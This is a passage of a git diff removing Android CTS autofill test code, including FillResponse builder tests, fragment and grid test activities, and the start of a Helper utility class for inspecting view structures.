-        assertThrows(IllegalStateException.class, () -> builder.setHeader(mHeader));
-        assertThrows(IllegalStateException.class, () -> builder.setHeader(mFooter));
-    }
-
-    @Test
-    public void testBuilder_setUserDataInvalid() {
-        assertThrows(NullPointerException.class, () -> new FillResponse.Builder()
-                .setUserData(null));
-    }
-
-    @Test
-    public void testBuilder_setUserDataAfterAuthentication() {
-        FillResponse.Builder builder =
-                new FillResponse.Builder().setAuthentication(mIds, mIntentSender, mPresentation);
-        assertThrows(IllegalStateException.class, () -> builder.setUserData(mUserData));
-    }
-
-    @Test
-    public void testBuilder_setFlag_invalid() {
-        assertThrows(IllegalArgumentException.class, () -> mBuilder.setFlags(-1));
-    }
-
-    @Test
-    public void testBuilder_setFlag_valid() {
-        mBuilder.setFlags(0);
-        mBuilder.setFlags(FLAG_TRACK_CONTEXT_COMMITED);
-        mBuilder.setFlags(FLAG_DISABLE_ACTIVITY_ONLY);
-    }
-
-    @Test
-    public void testBuilder_disableAutofill_invalid() {
-        assertThrows(IllegalArgumentException.class, () -> mBuilder.disableAutofill(0));
-        assertThrows(IllegalArgumentException.class, () -> mBuilder.disableAutofill(-1));
-    }
-
-    @Test
-    public void testBuilder_disableAutofill_valid() {
-        mBuilder.disableAutofill(mDisableDuration);
-        mBuilder.disableAutofill(Long.MAX_VALUE);
-    }
-
-    @Test
-    public void testBuilder_disableAutofill_mustBeTheOnlyMethodCalled() {
-        // No method can be called after disableAutofill()
-        mBuilder.disableAutofill(mDisableDuration);
-        assertThrows(IllegalStateException.class, () -> mBuilder.setSaveInfo(mSaveInfo));
-        assertThrows(IllegalStateException.class, () -> mBuilder.addDataset(mDataset));
-        assertThrows(IllegalStateException.class,
-                () -> mBuilder.setAuthentication(mIds, mIntentSender, mPresentation));
-        assertThrows(IllegalStateException.class,
-                () -> mBuilder.setFieldClassificationIds(mAutofillId));
-        assertThrows(IllegalStateException.class,
-                () -> mBuilder.setClientState(mClientState));
-
-        // And vice-versa...
-        final FillResponse.Builder builder1 = new FillResponse.Builder().setSaveInfo(mSaveInfo);
-        assertThrows(IllegalStateException.class, () -> builder1.disableAutofill(mDisableDuration));
-        final FillResponse.Builder builder2 = new FillResponse.Builder().addDataset(mDataset);
-        assertThrows(IllegalStateException.class, () -> builder2.disableAutofill(mDisableDuration));
-        final FillResponse.Builder builder3 =
-                new FillResponse.Builder().setAuthentication(mIds, mIntentSender, mPresentation);
-        assertThrows(IllegalStateException.class, () -> builder3.disableAutofill(mDisableDuration));
-        final FillResponse.Builder builder4 =
-                new FillResponse.Builder().setFieldClassificationIds(mAutofillId);
-        assertThrows(IllegalStateException.class, () -> builder4.disableAutofill(mDisableDuration));
-        final FillResponse.Builder builder5 =
-                new FillResponse.Builder().setClientState(mClientState);
-        assertThrows(IllegalStateException.class, () -> builder5.disableAutofill(mDisableDuration));
-    }
-
-    @Test
-    public void testBuilder_setFieldClassificationIds_invalid() {
-        assertThrows(NullPointerException.class,
-                () -> mBuilder.setFieldClassificationIds((AutofillId) null));
-        assertThrows(NullPointerException.class,
-                () -> mBuilder.setFieldClassificationIds((AutofillId[]) null));
-        final AutofillId[] oneTooMany =
-                new AutofillId[UserData.getMaxFieldClassificationIdsSize() + 1];
-        for (int i = 0; i < oneTooMany.length; i++) {
-            oneTooMany[i] = new AutofillId(i);
-        }
-        assertThrows(IllegalArgumentException.class,
-                () -> mBuilder.setFieldClassificationIds(oneTooMany));
-    }
-
-    @Test
-    public void testBuilder_setFieldClassificationIds_valid() {
-        mBuilder.setFieldClassificationIds(mAutofillId);
-    }
-
-    @Test
-    public void testBuilder_setFieldClassificationIds_setsFlag() {
-        mBuilder.setFieldClassificationIds(mAutofillId);
-        assertThat(mBuilder.build().getFlags()).isEqualTo(FLAG_TRACK_CONTEXT_COMMITED);
-    }
-
-    @Test
-    public void testBuilder_setFieldClassificationIds_addsFlag() {
-        mBuilder.setFlags(FLAG_DISABLE_ACTIVITY_ONLY).setFieldClassificationIds(mAutofillId);
-        assertThat(mBuilder.build().getFlags())
-                .isEqualTo(FLAG_TRACK_CONTEXT_COMMITED | FLAG_DISABLE_ACTIVITY_ONLY);
-    }
-
-    @Test
-    public void testBuild_invalid() {
-        assertThrows(IllegalStateException.class, () -> mBuilder.build());
-    }
-
-    @Test
-    public void testBuild_valid() {
-        // authentication only
-        assertThat(new FillResponse.Builder().setAuthentication(mIds, mIntentSender, mPresentation)
-                .build()).isNotNull();
-        // save info only
-        assertThat(new FillResponse.Builder().setSaveInfo(mSaveInfo).build()).isNotNull();
-        // dataset only
-        assertThat(new FillResponse.Builder().addDataset(mDataset).build()).isNotNull();
-        // disable autofill only
-        assertThat(new FillResponse.Builder().disableAutofill(mDisableDuration).build())
-                .isNotNull();
-        // fill detection only
-        assertThat(new FillResponse.Builder().setFieldClassificationIds(mAutofillId).build())
-                .isNotNull();
-        // client state only
-        assertThat(new FillResponse.Builder().setClientState(mClientState).build())
-                .isNotNull();
-    }
-
-    @Test
-    public void testBuilder_build_headerOrFooterWithoutDatasets() {
-        assertThrows(IllegalStateException.class,
-                () -> new FillResponse.Builder().setHeader(mHeader).build());
-        assertThrows(IllegalStateException.class,
-                () -> new FillResponse.Builder().setFooter(mFooter).build());
-    }
-
-    @Test
-    public void testNoMoreInteractionsAfterBuild() {
-        assertThat(mBuilder.setAuthentication(mIds, mIntentSender, mPresentation).build())
-                .isNotNull();
-
-        assertThrows(IllegalStateException.class, () -> mBuilder.build());
-        assertThrows(IllegalStateException.class,
-                () -> mBuilder.setAuthentication(mIds, mIntentSender, mPresentation).build());
-        assertThrows(IllegalStateException.class, () -> mBuilder.setIgnoredIds(mIds));
-        assertThrows(IllegalStateException.class, () -> mBuilder.addDataset(null));
-        assertThrows(IllegalStateException.class, () -> mBuilder.setSaveInfo(mSaveInfo));
-        assertThrows(IllegalStateException.class, () -> mBuilder.setClientState(mClientState));
-        assertThrows(IllegalStateException.class, () -> mBuilder.setFlags(0));
-        assertThrows(IllegalStateException.class,
-                () -> mBuilder.setFieldClassificationIds(mAutofillId));
-        assertThrows(IllegalStateException.class, () -> mBuilder.setHeader(mHeader));
-        assertThrows(IllegalStateException.class, () -> mBuilder.setFooter(mFooter));
-        assertThrows(IllegalStateException.class, () -> mBuilder.setUserData(mUserData));
-        assertThrows(IllegalStateException.class, () -> mBuilder.setPresentationCancelIds(null));
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FragmentContainerActivity.java b/tests/autofillservice/src/android/autofillservice/cts/FragmentContainerActivity.java
deleted file mode 100644
index b95fec6..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/FragmentContainerActivity.java
+++ /dev/null
@@ -1,96 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.os.Bundle;
-import android.widget.FrameLayout;
-
-import androidx.annotation.Nullable;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Activity containing an fragment
- */
-public class FragmentContainerActivity extends AbstractAutoFillActivity {
-    static final String FRAGMENT_TAG =
-            FragmentContainerActivity.class.getName() + "#FRAGMENT_TAG";
-    private CountDownLatch mResumed = new CountDownLatch(1);
-    private CountDownLatch mStopped = new CountDownLatch(0);
-    private FrameLayout mRootContainer;
-
-    @Override
-    protected void onCreate(@Nullable Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.fragment_container);
-
-        mRootContainer = findViewById(R.id.rootContainer);
-
-        // have to manually add fragment as we cannot remove it otherwise
-        getFragmentManager().beginTransaction().add(R.id.rootContainer,
-                new FragmentWithEditText(), FRAGMENT_TAG).commitNow();
-    }
-
-    @Override
-    protected void onStart() {
-        super.onStart();
-
-        mStopped = new CountDownLatch(1);
-    }
-
-    @Override
-    protected void onResume() {
-        super.onResume();
-
-        mResumed.countDown();
-    }
-
-    @Override
-    protected void onPause() {
-        super.onPause();
-
-        mResumed = new CountDownLatch(1);
-    }
-
-    @Override
-    protected void onStop() {
-        super.onStop();
-
-        mStopped.countDown();
-    }
-
-    /**
-     * Sets whether the root container is focusable or not.
-     *
-     * <p>It's initially set as {@code trye} in the XML layout so autofill is not automatically
-     * triggered in the edit text before the service is prepared to handle it.
-     */
-    public void setRootContainerFocusable(boolean focusable) {
-        mRootContainer.setFocusable(focusable);
-        mRootContainer.setFocusableInTouchMode(focusable);
-    }
-
-    public boolean waitUntilResumed() throws InterruptedException {
-        return mResumed.await(Timeouts.UI_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
-    }
-
-    public boolean waitUntilStopped() throws InterruptedException {
-        return mStopped.await(Timeouts.UI_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FragmentWithEditText.java b/tests/autofillservice/src/android/autofillservice/cts/FragmentWithEditText.java
deleted file mode 100644
index 52fd39a..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/FragmentWithEditText.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.app.Fragment;
-import android.os.Bundle;
-import androidx.annotation.Nullable;
-import android.view.LayoutInflater;
-import android.view.View;
-import android.view.ViewGroup;
-import android.widget.EditText;
-
-/**
- * A fragment with containing {@link EditText}s
- */
-public class FragmentWithEditText extends Fragment {
-    @Override
-    @Nullable public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container,
-            Bundle savedInstanceState) {
-        return inflater.inflate(R.layout.fragment_with_edittext, null);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FragmentWithMoreEditTexts.java b/tests/autofillservice/src/android/autofillservice/cts/FragmentWithMoreEditTexts.java
deleted file mode 100644
index e2e16ba..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/FragmentWithMoreEditTexts.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.app.Fragment;
-import android.os.Bundle;
-import androidx.annotation.Nullable;
-import android.view.LayoutInflater;
-import android.view.View;
-import android.view.ViewGroup;
-import android.widget.EditText;
-
-/**
- * A fragment with containing more {@link EditText}s
- */
-public class FragmentWithMoreEditTexts extends Fragment {
-    @Override
-    @Nullable public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container,
-            Bundle savedInstanceState) {
-        return inflater.inflate(R.layout.fragment_with_more_edittexts, null);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/GridActivity.java b/tests/autofillservice/src/android/autofillservice/cts/GridActivity.java
deleted file mode 100644
index ac60ebc..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/GridActivity.java
+++ /dev/null
@@ -1,190 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import android.os.Bundle;
-import android.util.Log;
-import android.view.autofill.AutofillManager;
-import android.widget.Button;
-import android.widget.EditText;
-import android.widget.GridLayout;
-
-import com.android.compatibility.common.util.RetryableException;
-
-import java.util.ArrayList;
-import java.util.concurrent.BlockingQueue;
-import java.util.concurrent.LinkedBlockingQueue;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Activity that contains a 4x4 grid of cells (named {@code l1c1} to {@code l4c2}) plus
- * {@code save} and {@code clear} buttons.
- */
-public class GridActivity extends AbstractAutoFillActivity {
-
-    private static final String TAG = "GridActivity";
-    private static final int N_ROWS = 4;
-    private static final int N_COLS = 2;
-
-    public static final String ID_L1C1 = getResourceId(1, 1);
-    public static final String ID_L1C2 = getResourceId(1, 2);
-    public static final String ID_L2C1 = getResourceId(2, 1);
-    public static final String ID_L2C2 = getResourceId(2, 2);
-    public static final String ID_L3C1 = getResourceId(3, 1);
-    public static final String ID_L3C2 = getResourceId(3, 2);
-    public static final String ID_L4C1 = getResourceId(4, 1);
-    public static final String ID_L4C2 = getResourceId(4, 2);
-
-    private GridLayout mGrid;
-    private final EditText[][] mCells = new EditText[4][2];
-    private Button mSaveButton;
-    private Button mClearButton;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.grid_activity);
-
-        mGrid = findViewById(R.id.grid);
-        mCells[0][0] = findViewById(R.id.l1c1);
-        mCells[0][1] = findViewById(R.id.l1c2);
-        mCells[1][0] = findViewById(R.id.l2c1);
-        mCells[1][1] = findViewById(R.id.l2c2);
-        mCells[2][0] = findViewById(R.id.l3c1);
-        mCells[2][1] = findViewById(R.id.l3c2);
-        mCells[3][0] = findViewById(R.id.l4c1);
-        mCells[3][1] = findViewById(R.id.l4c2);
-        mSaveButton = findViewById(R.id.save);
-        mClearButton = findViewById(R.id.clear);
-
-        mSaveButton.setOnClickListener((v) -> save());
-        mClearButton.setOnClickListener((v) -> resetFields());
-    }
-
-    void save() {
-        getSystemService(AutofillManager.class).commit();
-    }
-
-    void resetFields() {
-        for (int i = 0; i < N_ROWS; i++) {
-            for (int j = 0; j < N_COLS; j++) {
-                mCells[i][j].setText("");
-            }
-        }
-        getSystemService(AutofillManager.class).cancel();
-    }
-
-    EditText getCell(int row, int column) {
-        return mCells[row - 1][column - 1];
-    }
-
-    public static String getResourceId(int line, int col) {
-        return "l" + line + "c" + col;
-    }
-
-    public void onCell(int row, int column, Visitor<EditText> v) {
-        final EditText cell = getCell(row, column);
-        syncRunOnUiThread(() -> v.visit(cell));
-    }
-
-    public void focusCell(int row, int column) {
-        onCell(row, column, EditText::requestFocus);
-    }
-
-    public void clearCell(int row, int column) {
-        onCell(row, column, (c) -> c.setText(""));
-    }
-
-    public void setText(int row, int column, String text) {
-        onCell(row, column, (c) -> c.setText(text));
-    }
-
-    public void forceAutofill(int row, int column) {
-        onCell(row, column, (c) -> getAutofillManager().requestAutofill(c));
-    }
-
-    public void removeCell(int row, int column) {
-        onCell(row, column, (c) -> mGrid.removeView(c));
-    }
-
-    public void addCell(int row, int column, EditText cell) {
-        mCells[row - 1][column - 1] = cell;
-        // TODO: ideally it should be added in the right place...
-        syncRunOnUiThread(() -> mGrid.addView(cell));
-    }
-
-    public void triggerAutofill(boolean manually, int row, int column) {
-        if (manually) {
-            forceAutofill(row, column);
-        } else {
-            focusCell(row, column);
-        }
-    }
-
-    public String getText(int row, int column) throws InterruptedException {
-        final long timeoutMs = 100;
-        final BlockingQueue<String> queue = new LinkedBlockingQueue<>(1);
-        onCell(row, column, (c) -> Helper.offer(queue, c.getText().toString(), timeoutMs));
-        final String text = queue.poll(timeoutMs, TimeUnit.MILLISECONDS);
-        if (text == null) {
-            throw new RetryableException("text not set in " + timeoutMs + "ms");
-        }
-        return text;
-    }
-
-    public FillExpectation expectAutofill() {
-        return new FillExpectation();
-    }
-
-    public void dumpCells() {
-        final StringBuilder output = new StringBuilder("dumpCells():\n");
-        for (int i = 0; i < N_ROWS; i++) {
-            for (int j = 0; j < N_COLS; j++) {
-                final String id = getResourceId(i + 1, j + 1);
-                final String value = mCells[i][j].getText().toString();
-                output.append('\t').append(id).append("='").append(value).append("'\n");
-            }
-        }
-        Log.d(TAG, output.toString());
-    }
-
-    final class FillExpectation {
-
-        private final ArrayList<OneTimeTextWatcher> mWatchers = new ArrayList<>();
-
-        public FillExpectation onCell(int line, int col, String value) {
-            final String resourceId = getResourceId(line, col);
-            final EditText cell = getCell(line, col);
-            final OneTimeTextWatcher watcher = new OneTimeTextWatcher(resourceId, cell, value);
-            mWatchers.add(watcher);
-            cell.addTextChangedListener(watcher);
-            return this;
-        }
-
-        public void assertAutoFilled() throws Exception {
-            try {
-                for (int i = 0; i < mWatchers.size(); i++) {
-                    final OneTimeTextWatcher watcher = mWatchers.get(i);
-                    watcher.assertAutoFilled();
-                }
-            } catch (AssertionError | Exception e) {
-                dumpCells();
-                throw e;
-            }
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
deleted file mode 100644
index 102ef03..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/Helper.java
+++ /dev/null
@@ -1,1613 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.UiBot.PORTRAIT;
-import static android.provider.Settings.Secure.AUTOFILL_SERVICE;
-import static android.provider.Settings.Secure.SELECTED_INPUT_METHOD_SUBTYPE;
-import static android.provider.Settings.Secure.USER_SETUP_COMPLETE;
-import static android.service.autofill.FillEventHistory.Event.TYPE_AUTHENTICATION_SELECTED;
-import static android.service.autofill.FillEventHistory.Event.TYPE_CONTEXT_COMMITTED;
-import static android.service.autofill.FillEventHistory.Event.TYPE_DATASETS_SHOWN;
-import static android.service.autofill.FillEventHistory.Event.TYPE_DATASET_AUTHENTICATION_SELECTED;
-import static android.service.autofill.FillEventHistory.Event.TYPE_DATASET_SELECTED;
-import static android.service.autofill.FillEventHistory.Event.TYPE_SAVE_SHOWN;
-
-import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.Activity;
-import android.app.PendingIntent;
-import android.app.assist.AssistStructure;
-import android.app.assist.AssistStructure.ViewNode;
-import android.app.assist.AssistStructure.WindowNode;
-import android.content.AutofillOptions;
-import android.content.ComponentName;
-import android.content.ContentResolver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.content.res.Resources;
-import android.graphics.Bitmap;
-import android.icu.util.Calendar;
-import android.os.Bundle;
-import android.os.Environment;
-import android.provider.Settings;
-import android.service.autofill.FieldClassification;
-import android.service.autofill.FieldClassification.Match;
-import android.service.autofill.FillContext;
-import android.service.autofill.FillEventHistory;
-import android.service.autofill.InlinePresentation;
-import android.text.TextUtils;
-import android.util.Log;
-import android.util.Pair;
-import android.util.Size;
-import android.view.View;
-import android.view.ViewGroup;
-import android.view.ViewStructure.HtmlInfo;
-import android.view.autofill.AutofillId;
-import android.view.autofill.AutofillManager;
-import android.view.autofill.AutofillManager.AutofillCallback;
-import android.view.autofill.AutofillValue;
-import android.webkit.WebView;
-import android.widget.RemoteViews;
-import android.widget.inline.InlinePresentationSpec;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-import androidx.autofill.inline.v1.InlineSuggestionUi;
-import androidx.test.platform.app.InstrumentationRegistry;
-
-import com.android.compatibility.common.util.BitmapUtils;
-import com.android.compatibility.common.util.OneTimeSettingsListener;
-import com.android.compatibility.common.util.SettingsUtils;
-import com.android.compatibility.common.util.ShellUtils;
-import com.android.compatibility.common.util.TestNameUtils;
-import com.android.compatibility.common.util.Timeout;
-
-import java.io.File;
-import java.io.IOException;
-import java.util.List;
-import java.util.Map;
-import java.util.Map.Entry;
-import java.util.concurrent.BlockingQueue;
-import java.util.concurrent.TimeUnit;
-import java.util.function.Function;
-import java.util.regex.Pattern;
-
-/**
- * Helper for common funcionalities.
- */
-public final class Helper {
-
-    public static final String TAG = "AutoFillCtsHelper";
-
-    public static final boolean VERBOSE = false;
-
-    public static final String MY_PACKAGE = "android.autofillservice.cts";
-
-    public static final String ID_USERNAME_LABEL = "username_label";
-    public static final String ID_USERNAME = "username";
-    public static final String ID_PASSWORD_LABEL = "password_label";
-    public static final String ID_PASSWORD = "password";
-    public static final String ID_LOGIN = "login";
-    public static final String ID_OUTPUT = "output";
-    public static final String ID_STATIC_TEXT = "static_text";
-    public static final String ID_EMPTY = "empty";
-    public static final String ID_CANCEL_FILL = "cancel_fill";
-
-    public static final String NULL_DATASET_ID = null;
-
-    public static final char LARGE_STRING_CHAR = '6';
-    // NOTE: cannot be much large as it could ANR and fail the test.
-    public static final int LARGE_STRING_SIZE = 100_000;
-    public static final String LARGE_STRING = com.android.compatibility.common.util.TextUtils
-            .repeat(LARGE_STRING_CHAR, LARGE_STRING_SIZE);
-
-    /**
-     * Can be used in cases where the autofill values is required by irrelevant (like adding a
-     * value to an authenticated dataset).
-     */
-    public static final String UNUSED_AUTOFILL_VALUE = null;
-
-    private static final String ACCELLEROMETER_CHANGE =
-            "content insert --uri content://settings/system --bind name:s:accelerometer_rotation "
-                    + "--bind value:i:%d";
-
-    private static final String LOCAL_DIRECTORY = Environment.getExternalStorageDirectory()
-            + "/CtsAutoFillServiceTestCases";
-
-    private static final Timeout SETTINGS_BASED_SHELL_CMD_TIMEOUT = new Timeout(
-            "SETTINGS_SHELL_CMD_TIMEOUT", OneTimeSettingsListener.DEFAULT_TIMEOUT_MS / 2, 2,
-            OneTimeSettingsListener.DEFAULT_TIMEOUT_MS);
-
-    /**
-     * Helper interface used to filter nodes.
-     *
-     * @param <T> node type
-     */
-    interface NodeFilter<T> {
-        /**
-         * Returns whether the node passes the filter for such given id.
-         */
-        boolean matches(T node, Object id);
-    }
-
-    private static final NodeFilter<ViewNode> RESOURCE_ID_FILTER = (node, id) -> {
-        return id.equals(node.getIdEntry());
-    };
-
-    private static final NodeFilter<ViewNode> HTML_NAME_FILTER = (node, id) -> {
-        return id.equals(getHtmlName(node));
-    };
-
-    private static final NodeFilter<ViewNode> HTML_NAME_OR_RESOURCE_ID_FILTER = (node, id) -> {
-        return id.equals(getHtmlName(node)) || id.equals(node.getIdEntry());
-    };
-
-    private static final NodeFilter<ViewNode> TEXT_FILTER = (node, id) -> {
-        return id.equals(node.getText());
-    };
-
-    private static final NodeFilter<ViewNode> AUTOFILL_HINT_FILTER = (node, id) -> {
-        return hasHint(node.getAutofillHints(), id);
-    };
-
-    private static final NodeFilter<ViewNode> WEBVIEW_FORM_FILTER = (node, id) -> {
-        final String className = node.getClassName();
-        if (!className.equals("android.webkit.WebView")) return false;
-
-        final HtmlInfo htmlInfo = assertHasHtmlTag(node, "form");
-        final String formName = getAttributeValue(htmlInfo, "name");
-        return id.equals(formName);
-    };
-
-    private static final NodeFilter<View> AUTOFILL_HINT_VIEW_FILTER = (view, id) -> {
-        return hasHint(view.getAutofillHints(), id);
-    };
-
-    private static String toString(AssistStructure structure, StringBuilder builder) {
-        builder.append("[component=").append(structure.getActivityComponent());
-        final int nodes = structure.getWindowNodeCount();
-        for (int i = 0; i < nodes; i++) {
-            final WindowNode windowNode = structure.getWindowNodeAt(i);
-            dump(builder, windowNode.getRootViewNode(), " ", 0);
-        }
-        return builder.append(']').toString();
-    }
-
-    @NonNull
-    public static String toString(@NonNull AssistStructure structure) {
-        return toString(structure, new StringBuilder());
-    }
-
-    @Nullable
-    public static String toString(@Nullable AutofillValue value) {
-        if (value == null) return null;
-        if (value.isText()) {
-            // We don't care about PII...
-            final CharSequence text = value.getTextValue();
-            return text == null ? null : text.toString();
-        }
-        return value.toString();
-    }
-
-    /**
-     * Dump the assist structure on logcat.
-     */
-    public static void dumpStructure(String message, AssistStructure structure) {
-        Log.i(TAG, toString(structure, new StringBuilder(message)));
-    }
-
-    /**
-     * Dump the contexts on logcat.
-     */
-    public static void dumpStructure(String message, List<FillContext> contexts) {
-        for (FillContext context : contexts) {
-            dumpStructure(message, context.getStructure());
-        }
-    }
-
-    /**
-     * Dumps the state of the autofill service on logcat.
-     */
-    public static void dumpAutofillService(@NonNull String tag) {
-        final String autofillDump = runShellCommand("dumpsys autofill");
-        Log.i(tag, "dumpsys autofill\n\n" + autofillDump);
-        final String myServiceDump = runShellCommand("dumpsys activity service %s",
-                InstrumentedAutoFillService.SERVICE_NAME);
-        Log.i(tag, "my service dump: \n" + myServiceDump);
-    }
-
-    /**
-     * Dumps the state of {@link android.service.autofill.InlineSuggestionRenderService}, and assert
-     * that it says the number of active inline suggestion views is the given number.
-     *
-     * <p>Note that ideally we should have a test api to fetch the number and verify against it.
-     * But at the time this test is added for Android 11, we have passed the deadline for adding
-     * the new test api, hence this approach.
-     */
-    public static void assertActiveViewCountFromInlineSuggestionRenderService(int count) {
-        String response = runShellCommand(
-                "dumpsys activity service .InlineSuggestionRenderService");
-        Log.d(TAG, "InlineSuggestionRenderService dump: " + response);
-        Pattern pattern = Pattern.compile(".*mActiveInlineSuggestions: " + count + ".*");
-        assertWithMessage("Expecting view count " + count
-                + ", but seeing different count from service dumpsys " + response).that(
-                pattern.matcher(response).find()).isTrue();
-    }
-
-    /**
-     * Sets whether the user completed the initial setup.
-     */
-    public static void setUserComplete(Context context, boolean complete) {
-        SettingsUtils.syncSet(context, USER_SETUP_COMPLETE, complete ? "1" : null);
-    }
-
-    private static void dump(@NonNull StringBuilder builder, @NonNull ViewNode node,
-            @NonNull String prefix, int childId) {
-        final int childrenSize = node.getChildCount();
-        builder.append("\n").append(prefix)
-            .append("child #").append(childId).append(':');
-        append(builder, "afId", node.getAutofillId());
-        append(builder, "afType", node.getAutofillType());
-        append(builder, "afValue", toString(node.getAutofillValue()));
-        append(builder, "resId", node.getIdEntry());
-        append(builder, "class", node.getClassName());
-        append(builder, "text", node.getText());
-        append(builder, "webDomain", node.getWebDomain());
-        append(builder, "checked", node.isChecked());
-        append(builder, "focused", node.isFocused());
-        final HtmlInfo htmlInfo = node.getHtmlInfo();
-        if (htmlInfo != null) {
-            builder.append(", HtmlInfo[tag=").append(htmlInfo.getTag())
-                .append(", attrs: ").append(htmlInfo.getAttributes()).append(']');
-        }
-        if (childrenSize > 0) {
-            append(builder, "#children", childrenSize).append("\n").append(prefix);
-            prefix += " ";
-            if (childrenSize > 0) {
-                for (int i = 0; i < childrenSize; i++) {
-                    dump(builder, node.getChildAt(i), prefix, i);
-                }
-            }
-        }
-    }
-
-    /**
-     * Appends a field value to a {@link StringBuilder} when it's not {@code null}.
-     */
-    @NonNull
-    public static StringBuilder append(@NonNull StringBuilder builder, @NonNull String field,
-            @Nullable Object value) {
-        if (value == null) return builder;
-
-        if ((value instanceof Boolean) && ((Boolean) value)) {
-            return builder.append(", ").append(field);
-        }
-
-        if (value instanceof Integer && ((Integer) value) == 0
-                || value instanceof CharSequence && TextUtils.isEmpty((CharSequence) value)) {
-            return builder;
-        }
-
-        return builder.append(", ").append(field).append('=').append(value);
-    }
-
-    /**
-     * Appends a field value to a {@link StringBuilder} when it's {@code true}.
-     */
-    @NonNull
-    public static StringBuilder append(@NonNull StringBuilder builder, @NonNull String field,
-            boolean value) {
-        if (value) {
-            builder.append(", ").append(field);
-        }
-        return builder;
-    }
-
-    /**
-     * Gets a node if it matches the filter criteria for the given id.
-     */
-    public static ViewNode findNodeByFilter(@NonNull AssistStructure structure, @NonNull Object id,
-            @NonNull NodeFilter<ViewNode> filter) {
-        Log.v(TAG, "Parsing request for activity " + structure.getActivityComponent());
-        final int nodes = structure.getWindowNodeCount();
-        for (int i = 0; i < nodes; i++) {
-            final WindowNode windowNode = structure.getWindowNodeAt(i);
-            final ViewNode rootNode = windowNode.getRootViewNode();
-            final ViewNode node = findNodeByFilter(rootNode, id, filter);
-            if (node != null) {
-                return node;
-            }
-        }
-        return null;
-    }
-
-    /**
-     * Gets a node if it matches the filter criteria for the given id.
-     */
-    public static ViewNode findNodeByFilter(@NonNull List<FillContext> contexts, @NonNull Object id,
-            @NonNull NodeFilter<ViewNode> filter) {
-        for (FillContext context : contexts) {
-            ViewNode node = findNodeByFilter(context.getStructure(), id, filter);
-            if (node != null) {
-                return node;
-            }
-        }
-        return null;
-    }
-
-    /**
-     * Gets a node if it matches the filter criteria for the given id.
-     */
-    public static ViewNode findNodeByFilter(@NonNull ViewNode node, @NonNull Object id,
-            @NonNull NodeFilter<ViewNode> filter) {
-        if (filter.matches(node, id)) {
-            return node;
-        }
-        final int childrenSize = node.getChildCount();
-        if (childrenSize > 0) {
